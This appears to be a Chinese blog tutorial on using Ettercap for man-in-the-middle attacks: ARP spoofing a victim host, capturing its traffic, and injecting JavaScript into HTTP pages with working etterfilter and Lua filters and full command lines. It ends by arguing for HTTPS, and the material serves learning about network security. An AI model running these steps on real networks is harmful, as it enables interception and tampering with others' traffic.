使用Ettercap filter进行流量监听和数据篡改

标签: ettercap filter 流量 | 发表时间:2017-06-26 08:10 | 作者:xyt8023y
出处:http://blog.csdn.net

简介

Ettercap是一个综合性的中间人攻击工具,使用它可以进行ARP欺骗、拦截器、DNS欺骗等操作,本文将介绍使用ettercap的文本模式进行代码注入的方式和注意点。

安装ettercap

ettercap提供了对各个操作系统的支持,这里主要介绍macOS的安装方式。

通过Homebrew安装

这种安装方式较为简单, 但是安装的ettercap不支持Lua脚本,如果想要使用支持Lua脚本的ettercap,需要通过源码安装。

  brew install ettercap

通过源码安装

源码安装需要较多的依赖库,具体依赖可以在 Ettercap文档中查看,如果是Ubuntu平台,使用apt-get即可安装所有依赖,如果是macOS平台,可以使用Homebrew安装大部分缺失的依赖,如果Homebrew上没有,可以尝试使用gem,笔者使用Homebrew和gem完成了所有依赖库的安装。

1.首先将ettercap源码clone到本地,然后编辑CMakeLists.txt,将第16行的

  option(ENABLE_LUA "Enable LUA support (EXPERIMENTAL)" OFF)

置为ON,如果只是使用文本模式,可以将ENABLE_CURSES和ENABLE_GTK置为OFF。

2.按照文档建立并进入builid目录,执行如下命令。

  cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl -DOPENSSL_LIBRARIES=/usr/local/opt/openssl/lib

3.如果第二步中有提示某个库not found,先安装对应的库,然后先执行make clean-all,再重新执行2中的命令,如果只有memrchr提示缺少,则可以忽略,经测试不会影响ettercap的运行。
如果没有上述问题,执行如下命令完成安装。

  sudo make install

4.完成安装后,可以使用 which ettercap查看安装位置,默认来说,ettercap的相关工具在 /usr/local/bin/,配置文件在 /etc/ettercap,运行时执行的Lua脚本在 /usr/local/share/ettercap/lua/

使用ettercap进行中间人攻击

流量监听

通过ARP欺骗,我们可以使得受害者将我们视为网关,而网关将我们视为受害者,这样就实现了从请求到响应的双向监听,下面我们假设192.168.0.1是网关,而192.168.0.119为受害者,执行下面的命令即可进行监听。

  sudo ettercap -T -q -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//

其中-T代表文本模式,-q为安静模式(不在控制台输出监听的数据),-M为中间人攻击,-w指定的是存储到磁盘的网络数据包,可以使用Charles或Wireshark等工具进行分析。其中ip地址的格式,根据编译源码时CMakeList中指定的是否支持IPv6,分别为 MAC/IP/IPv6/PORTMAC/IP/PORT格式。

当受害者浏览网页时,网络报文会被记录在network.pcap中,按下空格会退出安静模式,将报文同时打印到控制台。

数据篡改

使用etterfilter

1.首先我们介绍使用etterfilter编译filter并加载到ettercap对网络请求进行处理的方法,首先建立一个ig.filter文件,写入以下内容。

  # 拦截受害者发送的请求,将报文压缩方式由gzip降级为不压缩
if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
        pcre_regex(DATA.data, "(Accept-Encoding:).*([\r\n])", "$1 identity$2");
        msg("change encoding");
    }
}
# 对于服务器响应,向head中注入js
if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "<head>")) {
        replace("<head>", "<head><script>alert('js inject')</script>");
        msg("inject head");
    }
}

这里需要注意的是,一定要对请求头的Accept-Encoding进行篡改,否则响应默认使用gzip编码的,这样我们直接注入明文js是无效的,将编码方式降级为Identity,服务端会返回明文报文,同时客户端也不会再对报文进行一次解码。

2.使用etterfilter将filter文件编译成ef文件

  etterfilter ig.filter -o ig.ef

3.在监听数据的同时加载过滤器

  sudo ettercap -T -q -F ig.ef -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//

4.尝试在受害者端使用浏览器访问未使用HTTPS的网站,例如 http://m.ctrip.com,如果成功会看到网页弹窗。

使用Lua脚本描述过滤器

使用Lua脚本的好处是不需要经过编译,直接加载即可,另外一个好处是,不会破坏网页的原始结构 ,而etterfilter方式在数据包中含有大量数据,又向其中添加数据时,会造成包尾被截断,从而破坏网页结构。

使用Lua实现上述功能的代码如下。

  description = "Inject JS using Lua.";
local hooks = require("hook_points");
local packet = require("packet");
inject = "<script>alert('Inject JS using Lua.')</script>";

hook_point = hooks.filter;

packet_rule = function(packet_object)
    return (packet_object:is_tcp() and
            packet_object:has_data() and
            (packet_object:dst_port() == 80 or
            packet_object:src_port() == 80));
end

action = function(packet_object)
    p = packet_object;
    data = p:read_data();
    if string.find(data, "Accept.Encoding:") then
        s,e = string.find(data, "Accept.Encoding:.-\n")
        newdata = string.gsub(data, "Accept.Encoding:.-\n",
        "Accept-Encoding: identity " .. string.rep(" ", e - s - 27) .. "\r\n")
        packet.set_data(p, newdata)
        -- ettercap.log("Changing Encoding");
        return
    end
    body = string.upper(data);
    if (string.find(body, '<HEAD>')) then
        s,e = string.find(body, '<TITLE>.-</TITLE>');
        if s then
            title = string.sub(data, s, e);
            s,e = string.find(body, '<TITLE>.-</TITLE>');
            if not s or not e then
                return;
            end
            len = e - s;
            idata = "<title>" .. description .. "</title>" .. inject .. "\n";
            print(idata);
            newstr = string.sub(data, 0, s - 1) .. idata .. string.rep(" ", len - string.len(idata)) .. string.sub(data, e+1, -1);
            -- ettercap.log("Updating string");
            packet.set_data(p, newstr);
        end
    end
end

ettercap中的lua API可以在 /usr/local/share/ettercap/lua中查看,在网络监听时加载Lua脚本的命令如下。

  sudo ettercap -T -q -M ARP:remote --lua-script ig.lua -w network.pcap /192.168.0.1// /192.168.0.119//

总结

本文主要介绍了使用ettercap监听和篡改HTTP流量的方法,可以看到在强大的工具面前,HTTP流量是不堪一击的。因此普及HTTPS对于保护数据安全即为重要,除此之外,CISCO等高端路由器默认对ARP欺骗进行了防御,在其局域网下也很难进行中间人攻击。对于HTTPS的数据监听,我们有两种思路,一种是降级为HTTP,这种方式易被察觉;另一种是使用 SSLStrip等工具进行会话劫持。

参考资料

  1. 灰帽黑客(第4版)
  2. https://github.com/Ettercap/ettercap
作者:xyt8023y 发表于2017/6/26 0:10:11 原文链接
阅读:297 评论:0 查看评论

相关 [ettercap filter 流量] 推荐:

使用Ettercap filter进行流量监听和数据篡改

- - CSDN博客综合推荐文章
Ettercap是一个综合性的中间人攻击工具,使用它可以进行ARP欺骗、拦截器、DNS欺骗等操作,本文将介绍使用ettercap的文本模式进行代码注入的方式和注意点. ettercap提供了对各个操作系统的支持,这里主要介绍macOS的安装方式. 这种安装方式较为简单, 但是安装的ettercap不支持Lua脚本,如果想要使用支持Lua脚本的ettercap,需要通过源码安装.

Servlet Filter 学习

- - CSDN博客架构设计推荐文章
最近在研究CAS , CAS 中的Servlet Filter 不太熟悉, 所以花了点时间学下了下这部分的知识, 分成以下几部分 学习. Servlet Filter  的功能和用法. Servlet Filter 顺序的注意事项. A filter is an object that performs filtering tasks on either the request to a resource (a servlet or static content), or on the response from a resource, or both.

Servlet、Filter和Listener

- - Web前端 - ITeye博客
Java Servlet是与平台无关的服务器端组件,运行于Servlet容器中(如Tomcat),Servlet容器负责Servlet和客户端的通信以及调用Servlet的方法,Servlet和客户端的通信采用“请求/响应”的模式. Servlet可完成以下功能:. 1、创建并返回基于客户请求的动态HTML页面.

Bloom Filter 原理与应用

- - CSDN博客云计算推荐文章
Bloom Filter是一种简单的节省空间的随机化的数据结构,支持用户查询的集合. 一般我们使用STL的std::set, stdext::hash_set,std::set是用红黑树实现的,stdext::hash_set是用桶式哈希表. 上述两种数据结构,都会需要保存原始数据信息,当数据量较大时,内存就会是个问题.

dubbo中的Filter顺序

- - 互联网 - ITeye博客
最近发现dubbo的小 bug,顺便整理了一下dubbo中的Filter调用顺序及如何确定的. 服务提供方的过滤器被调用顺序:. EchoFilter->ClassLoaderFilter->GenericFilter->ContextFilter->(这4个是在代码中指定的). 服务消费方的过滤器顺序:.

activity、 intent 、intent filter、service、Broadcast、BroadcaseReceiver解释

- - CSDN博客推荐文章
Android中,Activity是所有程序的根本,所有程序的流程都运行在Activity之中,Activity具有自己的生命周期(由系统控制生命周期,程序无法改变,但可以用onSaveInstanceState保存其状态). 对于Activity,关键是其生命周期的把握(如那张经典的生命周期图=.=),其次就是状态的保存和恢复(onSaveInstanceState onRestoreInstanceState),以及Activity之间的跳转和数据传输(intent).

webservice的安全机制3---Filter

- - 博客园_首页
本节摘要:本节继续讨论webservice的安全机制,本节采用servlet的过滤器Filter来实现.    前面讲了webservice的安全机制1和2,本节继续webservice的安全之旅,.    本节采用servlet的Filter的来实现对webservice的安全访问.    在调用webservice之前,过滤器会拦截匹配的请求,只有满足安全要求的客户端才能访问webservice服务.

【转】Servlet 和filter 执行顺序

- - 企业架构 - ITeye博客
一,servlet容器对url的匹配过程:. 当一个请求发送到servlet容器的时候,容器 先会将请求的url减去当前应用上下文的路径作为servlet的映射url,比如我访问的是http://localhost/test /aaa.html,我的应用上下文是test,容器会将http://localhost/test去掉,剩下的/aaa.html部分拿来做 servlet的映射匹配.

[译]JVM上最快的Bloom filter实现

- - 鸟窝
英文原始出处: Bloom filter for Scala, the fastest for JVM. 本文介绍的是我用Scala实现的Bloom filter. 依照 性能测试结果,它是JVM上的 最快的Bloom filter实现. 零分配(Zero-allocation)和高度优化的代码.

JVM上最快的Bloom filter实现

- - ImportNew
英文原始出处:  Bloom filter for Scala, the fastest for JVM. 本文介绍的是我用Scala实现的Bloom filter. 依照 性能测试结果,它是JVM上的 最快的Bloom filter实现. 零分配(Zero-allocation)和高度优化的代码.